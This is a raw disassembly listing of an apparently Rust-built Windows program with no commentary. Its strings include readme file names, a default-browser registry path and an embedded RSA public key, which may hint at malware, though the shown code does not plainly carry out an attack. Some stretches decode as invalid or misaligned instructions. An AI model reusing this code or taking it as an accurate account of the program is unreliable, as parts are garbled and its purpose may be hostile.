lea r9, [0x1400aa84c]
lea rdi, [rsp + 0x70]
mov rcx, rdi
mov rdx, rsi
call fcn.140081510
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x80]
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea rbx, [rsp + 0x260]
mov rcx, rbx
mov qword [rsp + 0x48], rdx
xor r8d, r8d
call fcn.14000bdf0
mov r15, qword [rsp + 0x260]
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x150]
mov rdx, r12
mov r8, r13
mov r9, r15
call fcn.140081510
cmp qword [rsp + 0x268], 0
je 0x14002d94f
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 0
je 0x14002d96b
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x14002d982
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x150]
movdqu xmm1, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x80], xmm1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x14002da67
add rax, 0x110
jmp 0x14002da6c
test r8, r8
je 0x14002d8b3
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14002d9fc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop
mov rdx, rcx
cmp rcx, rax
je 0x14002d8b3
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14002d9f0
cmp r9b, 0xe0
jb 0x14002d9e3
cmp r9b, 0xed
jne 0x14002da3e
cmp rcx, rax
je 0x14002d8b3
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002d8b3
cmp byte [rdx + 1], 0x9f
ja 0x140031a99
add rdx, 3
mov rcx, rdx
jmp 0x14002d9f0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14002d9f0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14002d9f0
call fcn.140063940
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], 1
mov ecx, 1
mov r9d, 1
xor edx, edx
call fcn.14000dca0
cmp qword [rsp + 0x78], 0
je 0x14002dab7
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x88]
cmp al, 2
je 0x140031a3d
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
test al, al
je 0x14002de41
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.140081510
mov r15, qword [rsp + 0x70]
mov r12, qword [rsp + 0x80]
lea rdx, str.readme
lea rcx, [rsp + 0x150]
mov r8d, 6
call fcn.14000bdf0
mov rdi, qword [rsp + 0x150]
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x210]
mov rdx, r15
mov r8, r12
mov r9, rdi
call fcn.140081510
cmp qword [rsp + 0x158], 0
je 0x14002db84
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 0
je 0x14002dba0
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14002dbb7
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x88]
cmp al, 2
je 0x140031a44
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
test al, al
je 0x14002ded7
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.140081510
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x80]
lea rdx, str.readme_assets
lea rcx, [rsp + 0x150]
mov r8d, 0xd
call fcn.14000bdf0
mov r15, qword [rsp + 0x150]
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x260]
mov rcx, rdi
mov rdx, r12
mov r8, r13
mov r9, r15
call fcn.140081510
cmp qword [rsp + 0x158], 0
je 0x14002dc87
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 0
je 0x14002dca3
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14002dcba
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x88]
cmp al, 2
je 0x140031a4b
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
test al, al
je 0x14002df77
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea r15, [rsp + 0x70]
mov rcx, r15
mov rdx, rsi
call fcn.140081510
mov rbp, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x80]
lea rdx, str.readme_pages____________________________n_n
lea rcx, [rsp + 0x50]
mov r8d, 0xc
call fcn.14000bdf0
mov r12, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r13, [rsp + 0x150]
mov rcx, r13
mov rdx, rbp
mov r8, rbx
mov r9, r12
call fcn.140081510
cmp qword [rsp + 0x58], 0
je 0x14002dd81
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 0
je 0x14002dd9d
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x14002ddb4
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x210]
movups xmm1, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [rsp + 0x150]
movdqu xmm1, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0xb0], xmm0
movdqa xmmword [rsp + 0xc0], xmm1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x14002e017
add rax, 0x110
jmp 0x14002e01c
test r8, r8
je 0x14002daf8
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14002de6c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop
mov rdx, rcx
cmp rcx, rax
je 0x14002daf8
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14002de60
cmp r9b, 0xe0
jb 0x14002de53
cmp r9b, 0xed
jne 0x14002deae
cmp rcx, rax
je 0x14002daf8
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002daf8
cmp byte [rdx + 1], 0x9f
ja 0x140031af0
add rdx, 3
mov rcx, rdx
jmp 0x14002de60
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14002de60
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14002de60
test r8, r8
je 0x14002dbf8
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14002df0c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002dbf8
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14002df00
cmp r9b, 0xe0
jb 0x14002dee9
cmp r9b, 0xed
jne 0x14002df4e
cmp rcx, rax
je 0x14002dbf8
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002dbf8
cmp byte [rdx + 1], 0x9f
ja 0x140031b47
add rdx, 3
mov rcx, rdx
jmp 0x14002df00
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14002df00
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14002df00
test r8, r8
je 0x14002dcfb
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14002dfac
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002dcfb
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14002dfa0
cmp r9b, 0xe0
jb 0x14002df89
cmp r9b, 0xed
jne 0x14002dfee
cmp rcx, rax
je 0x14002dcfb
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002dcfb
cmp byte [rdx + 1], 0x9f
ja 0x140031b9e
add rdx, 3
mov rcx, rdx
jmp 0x14002dfa0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14002dfa0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14002dfa0
call fcn.140063940
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x28], 3
mov ecx, 3
mov r9d, 1
xor edx, edx
call fcn.14000dca0
cmp qword [rsp + 0x78], 0
je 0x14002e067
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x98], 0
je 0x14002e089
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xb8], 0
je 0x14002e0ab
mov r8, qword [rsp + 0xb0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [rsp + 0x260]
mov rcx, rsi
call fcn.1400175d0
lea rdx, [0x1400aa853]
mov r8d, 7
mov rcx, rsi
call fcn.140017310
test rax, rax
je 0x140031a52
lea rcx, [rsp + 0x70]
call fcn.14007c940
cmp byte [rsp + 0x88], 2
je 0x140032309
mov qword [rsp + 0x140], rdi
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
lea rcx, [rsp + 0x70]
mov rdx, rbx
call fcn.14003f1f0
cmp qword [rsp + 0x70], 0
jne 0x14003233d
xor r13d, r13d
movzx eax, r13b
shl rax, 8
movzx r14d, dil
or r14, rax
xor r15d, r15d
mov esi, 0xe
mov qword [rsp + 0x48], rax
xor edi, edi
mov rbp, rsi
shr rbp, 8
mov ebx, 4
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14003176c
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140031a88
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x40
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140031a88
mov r13, rax
mov qword [rax], rbx
mov dword [rax + 8], edi
mov rax, qword [rsp + 0x48]
mov dword [r13 + 0xc], eax
mov byte [r13 + 0x10], sil
mov dword [r13 + 0x11], ebp
mov rax, rbp
shr rax, 0x30
mov byte [r13 + 0x17], al
shr rbp, 0x20
mov word [r13 + 0x15], bp
mov qword [r13 + 0x18], r14
mov qword [r13 + 0x20], r15
mov qword [r13 + 0x28], r12
mov rax, qword [rsp + 0x68]
mov qword [r13 + 0x30], rax
mov rax, qword [rsp + 0x238]
mov qword [r13 + 0x38], rax
mov rcx, qword [0x1400f0220]
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov r8, qword [rsp + 0x1e8]
call rsi
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x248]
call rsi
lea r15, [0x1400aac38]
mov r8, qword [rsp + 0x1e0]
dec qword [r8]
mov r14, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x140]
jne 0x140031838
dec qword [r8 + 8]
jne 0x140031838
cmp byte [r14 + 0x68], 0
je 0x140031859
cmp qword [r14 + 0x28], 0
je 0x140031859
mov r8, qword [r14 + 0x20]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r14 + 0x68], 0
cmp qword [r14 + 8], 0
je 0x1400318c2
mov r8, qword [r14]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400318c2
xor r13d, r13d
mov qword [rdi + 8], r13
mov qword [rdi + 0x10], r15
mov qword [rdi], 0
mov byte [r14 + 0x69], 1
movaps xmm6, xmmword [rsp + 0x310]
movaps xmm7, xmmword [rsp + 0x320]
movaps xmm8, xmmword [rsp + 0x330]
movaps xmm9, xmmword [rsp + 0x340]
add rsp, 0x358
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov edx, 0x20
call fcn.1400a42a0
ud2
lea rcx, str._async_fn__resumed_after_completionSOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoiceProgId
lea r8, str.srcmain.rs
mov edx, 0x23
call fcn.1400a4530
ud2
ror byte [rdi], 0x84
sar ebp, 0xff
dec dword [rdi]
mov dh, 0x44
div byte cs:[rcx]
leave
mov qword [rsp + 0x48], rcx
cmp al, 0xd
je 0x14003196e
movzx eax, al
cmp eax, 0xa
jne 0x140031713
cmp qword [rsp + 0x48], 0
je 0x140031c75
mov qword [rsp + 0x160], rbp
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x150], 1
mov qword [rsp + 0x158], 0x40
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x150]
call fcn.14003c8e0
cmp qword [rsp + 0x50], 0
je 0x140031cf1
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x1400324e4
mov r12, rax
mov rdi, qword [rsp + 0x60]
xor r13d, r13d
xor esi, esi
add rsi, rdi
jb 0x140031a29
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x150]
call fcn.14003c8e0
cmp qword [rsp + 0x50], 0
je 0x140032388
mov dword [rsp + 0x1f8], r13d
mov r13b, 1
jmp 0x1400324ea
mov al, 2
jmp 0x140031aaf
mov al, 2
jmp 0x140031b06
mov al, 2
jmp 0x140031b5d
mov al, 2
jmp 0x140031bb4
mov ecx, 8
mov edx, 0x50
call fcn.1400a42a0
ud2
mov ecx, 8
mov edx, 0x40
call fcn.1400a42a0
ud2
mov eax, dword [rbp]
mov ecx, dword [rbp + 3]
mov dword [rsp + 0x153], ecx
mov dword [rsp + 0x150], eax
xor eax, eax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], r8
mov byte [rsp + 0x88], al
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x153]
mov dword [rsp + 0x89], eax
mov dword [rsp + 0x8c], ecx
lea rax, str.srcmain.rs
jmp 0x1400325f4
mov eax, dword [rbp]
mov ecx, dword [rbp + 3]
mov dword [rsp + 0x153], ecx
mov dword [rsp + 0x150], eax
and al, 0x50
add dword [rax], eax
add byte [rcx], dh
invalid
and al, 0x50
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x77], 0x74
and al, 0x70
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], r8
mov byte [rsp + 0x88], al
mov byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x153]
mov dword [rsp + 0x89], eax
mov dword [rsp + 0x8c], ecx
lea rax, str.srcmain.rs
jmp 0x1400325f4
mov eax, dword [rbp]
mov ecx, dword [rbp + 3]
mov dword [rsp + 0x153], ecx
mov dword [rsp + 0x150], eax
xor eax, eax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], r8
add byte [rax], 0
add byte [rax + 0x882484], cl
add byte [rax], al
add byte [rax], 0
add byte [rax + 0x882484], cl
add byte [rax], al
mov eax, dword [rsp + 0x150]
add byte [rax], al
mov ecx, dword [rsp + 0x153]
mov dword [rsp + 0x89], eax
mov dword [rsp + 0x8c], ecx
lea rax, str.srcmain.rs
jmp 0x1400325f4
mov eax, dword [rbp]
mov ecx, dword [rbp + 3]
mov dword [rsp + 0x153], ecx
mov dword [rsp + 0x150], eax
xor eax, eax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], r8
mov byte [rsp + 0x88], al
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x153]
mov dword [rsp + 0x89], eax
mov dword [rsp + 0x8c], ecx
lea rax, str.srcmain.rs
mov word [rsp + rcx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x826a8
jmp 0x1400325f4
mov ecx, 1
mov edx, 3
call fcn.1400a42a0
ud2
add byte [rax], al
mov edx, 0x70
call fcn.1400a42a0
ud2
mov r13b, 1
xor edi, edi
jmp 0x140031716
lea rcx, str._async_fn__resumed_after_completionSOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoiceProgId
lea r8, str.srcmain.rs
jmp 0x14003193d
lea rcx, str._async_fn__resumed_after_completionSOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoiceProgId
lea r8, [0x1400b3f30]
jmp 0x14003193d
lea rcx, str._async_fn__resumed_after_completionSOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoiceProgId
lea r8, [0x1400b3f00]
jmp 0x14003193d
lea rcx, str._async_fn__resumed_after_completionSOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoiceProgId
lea r8, [0x1400b3d88]
jmp 0x14003193d
xor esi, esi
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rsi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
mov dword [rsp + 0xb7], 0
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], r14
mov word [rsp + 0x7e], 0
mov dword [rsp + 0x7a], 0
mov qword [rsp + 0x80], rbp
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x70], 1
mov word [rsp + 0x78], 0x40
mov qword [rsp + 0x50], 1
movdqu xmmword [rsp + 0x58], xmm0
test rsi, rsi
jne 0x1400327c9
xor eax, eax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x148], rax
cmp qword [rsp + 0x88], 0
jne 0x140031dbf
mov rax, qword [rsp + 0xb0]
cmp rax, qword [rsp + 0xa8]
je 0x140032380
cmp qword [rsp + 0x48], 0
je 0x140032375
mov ecx, 8
mov edx, 0x110
call fcn.1400a42a0
ud2
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x150], rax
lea rax, str.srcutilitiescatch.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400a9f40]
lea r8, [rsp + 0x150]
jmp 0x14003260c
movzx r13d, byte [rsp + 0x60]
test r13b, r13b
je 0x1400324f6
xor edi, edi
jmp 0x140031716
lea rax, [0x1400aab81]
mov dil, 3
cmp byte [rbx], 0x3a
je 0x140031716
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140008890
lea r8, [rsp + 0x70]
mov edx, 0x2b
call fcn.1400a48c0
ud2
movzx ecx, byte [rsp + 0x7f]
mov byte [rsp + 0x15b], cl
mov rcx, qword [rsp + 0x77]
mov qword [rsp + 0x153], rcx
mov r15, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x300], rcx
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x238], rcx
mov word [rsp + 0x150], ax
shr eax, 0x10
call 0x16487aebb
push rdx
add dword [rax], eax
add byte [rbx + 0x1502484], cl
add byte [rax], al
call 0x16487aebb
push rdx
add dword [rax], eax
add byte [rbx + 0x1502484], cl
add byte [rax], al
mov rsi, qword [rsp + 0x154]
movabs r13, 0xffffffff00000000
and r13, qword [rsp + 0x48]
mov rbx, r15
shr rbx, 0x20
movabs rbp, 0xffffffff00000000
mov rcx, qword [rsp + 0x300]
and rbp, rcx
movabs r12, 0xffffff0000000000
and r12, rcx
mov rcx, qword [rsp + 0x48]
mov r14d, ecx
shr r13, 0x20
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x2f8], 0
je 0x140032729
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x148]
call qword [sym.imp.kernel32.dll_HeapFree]
shl r13, 0x20
mov r14d, r14d
or r14, r13
shl rbx, 0x20
mov r15d, r15d
or r15, rbx
movabs rax, 0xff00000000
and rbp, rax
mov eax, dword [rsp + 0x300]
or r12, rax
or r12, rbp
jmp 0x140031734
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8, rsi
call fcn.1400a8280
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
sub rax, rcx
cmp rax, rsi
jb 0x1400329c3
mov rcx, qword [rsp + 0x50]
mov rdi, rdx
add rcx, rdx
xor edx, edx
mov r8, rsi
call sub.VCRUNTIME140.dll_memset
add rdi, rsi
mov rax, rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x60], rdi
jmp 0x140031d91
add qword [rax], rax
add byte [rdi], cl
mov dh, 0x10
lea rcx, [rsp + 0x70]
call fcn.140046a00
mov edi, dword [rsp + 0x70]
cmp edi, 2
jne 0x1400329a2
add byte [rax], al
movzx ecx, byte [rsp + 0x76]
shl ecx, 0x10
movzx eax, word [rsp + 0x74]
or eax, ecx
mov edi, 1
mov edx, 3
cmp qword [rsp + 0x48], 1
jne 0x1400329dc
inc dword [rcx - 0x50]
invalid
add byte [rax], al
jmp 0x1400328fe
test r13b, r13b
je 0x14003292d
xor edi, edi
cmp qword [rsp + 0x58], 0
je 0x140031716
lea rax, str._____BEGIN_RSA_PUBLIC_KEY______nMIIBCgKCAQEAw_4Mpnw7yV9NDzjISgNesWSHj7A3zcpxezASZ9dlMTA2vFuNZI5M_nT3bQE4n1swc5bO7yeiygoGj7CNPpifhI2LdG30OieiEJjx7RU8VZUU_pBTgKAeGu_nicVTRmA7JuvrjvOSB1CnPvghxvW7KJID36mQGwm2Fl7zqVekRv0uzOr1zUOIkt6O_neCO0uOVkGg6RgrHkO3EabiVAS1RNdhSEjZq4PPiXSoVwadnOEsU7mdS4aufxW5J_n5eoqym2D73cbQDQWtiE2MVE2ZAasTa1iZ8WDMO4BMrfYkV_UHMXhK3FFW6KKopRJ_nLASAsY3OTfbEDpYguWZdjuC8Pxz6JhW_CwIDAQAB_n_____END_RSA_PUBLIC_KEY_____
lea rcx, [0x1400aab81]
mov dil, 3
cmp byte [rax], 0x3a
je 0x140032905
movzx ecx, byte [rsp + 0x76]
shl ecx, 0x10
movzx eax, word [rsp + 0x74]
or eax, ecx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x48], rcx
jmp 0x14003264f
invalid
dec dword [rax - 0x73]
and al, 0x50
lea rcx, [rsp + 0x50]
mov r8, rsi
call fcn.1400a8280
mov rdx, qword [rsp + 0x60]
jmp 0x1400327f1
ud2
mov ecx, 8
mov edx, 8
call fcn.1400a42a0
ud2
add r15, 8
cmp r15, qword [rbp + 0x458]
je 0x140035a34
mov rsi, qword [r15]
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140034ef8
test eax, eax
jne 0x14003971f
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rdi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x108]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400394eb
lea rcx, [rax + 1]
mov edx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0x108], rcx
mov r12, qword [rdx + 0x110]
cmp r12, 2
je 0x1400394f9
test r12, r12
je 0x140034f90
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0x118]
lock inc qword [r14]
mov eax, 1
jg 0x140034fb6
jmp 0x140039367
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0x118]
lock inc qword [r14]
jle 0x140039367
xor eax, eax
mov ecx, dword [0x1400f02c4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
dec qword [rcx + 0x108]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], r14
mov edi, 1
lock xadd qword [0x1400f0068], rdi
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x140035015
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140039469
mov qword [0x1400f0220], rax
mov r8d, pe_nt_image_headers64
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140039469
mov r13, rax
and r13, 0xffffffffffffff80
lea rcx, [r14 + 0x1d0]
lea rdx, [r14 + 0x170]
test r12, r12
mov qword [r13 + 0x78], rax
mov qword [r13 + 0x80], 0xcc
mov qword [r13 + 0x88], 0
lea rax, [0x1400e4f18]
mov qword [r13 + 0x90], rax
mov qword [r13 + 0x98], 0
mov qword [r13 + 0xa0], rdi
mov qword [r13 + 0xa8], 2
mov qword [r13 + 0xb0], rsi
movups xmmword [r13 + 0xc8], xmm6
mov qword [r13 + 0xd8], 0
cmove rcx, rdx
mov rdi, qword [rcx]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 0x40], cl
jne 0x1400352f7
sub r13, 0xffffffffffffff80
cmp byte [rdi + 0xc4], 0
je 0x140035110
lock sub qword [r13], 0x40
jb 0x140039705
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax + 0x30]
xor esi, esi
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 0x40], cl
mov ebx, 1
jne 0x14003538a
test rbx, rbx
je 0x1400351b8
test rsi, rsi
je 0x1400351b8
jmp 0x1400396d9
mov rcx, qword [rdi + 0x50]
mov rax, qword [rdi + 0x60]
cmp rax, rcx
jne 0x14003512e
lea rcx, [rdi + 0x48]
call fcn.140093dd0
mov rcx, qword [rdi + 0x50]
mov rax, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x58]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rdi + 0x48]
shl rdx, 4
mov qword [rcx + rdx], r13
mov byte [rcx + rdx + 8], 1
inc rax
mov qword [rdi + 0x60], rax
lock inc qword [rdi + 0x108]
mov rax, qword [rdi + 0x100]
test rax, rax
je 0x140035199
lock dec qword [rdi + 0x100]
inc dword [rdi + 0xc0]
mov rdx, qword [rdi + 0xc8]
test rdx, rdx
je 0x1400351a9
lea rcx, [rdi + 0xc8]
call fcn.1400a5610
jmp 0x1400351a9
mov rax, qword [rdi + 0xf8]
cmp rax, qword [rdi + 0xf0]
jne 0x140035215
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 0x40], cl
jne 0x140035388
lock dec qword [r14]
sete al
test r12, r12
je 0x1400351e0
test al, al
je 0x1400351f0
lea rcx, [rbp + 0x1c8]
call fcn.140092f20
jmp 0x1400351f0
test al, al
je 0x1400351f0
